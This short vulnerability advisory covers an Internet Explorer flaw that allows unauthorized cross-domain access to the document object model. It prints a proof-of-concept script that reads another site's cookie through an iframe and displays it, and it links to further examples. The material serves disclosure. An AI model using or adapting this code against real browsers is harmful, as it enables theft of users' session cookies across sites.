|
Microsoft Internet Explorer Unauthorized Document Object Model Access Vulnerability
The following example was provided: <script language="jscript"> onload=function () {     // Timer necessary to prevent weird behavior in some conditions     setTimeout(         function () {             alert(document.getElementById("oVictim").Document.cookie);         },         100     ); } </script> <iframe src="http://example.com" id="oVictim"></iframe> Further examples can be found on the following webpage: http://security.greymagic.com/adv/gm011-ie/ |
|
|
Privacy Statement |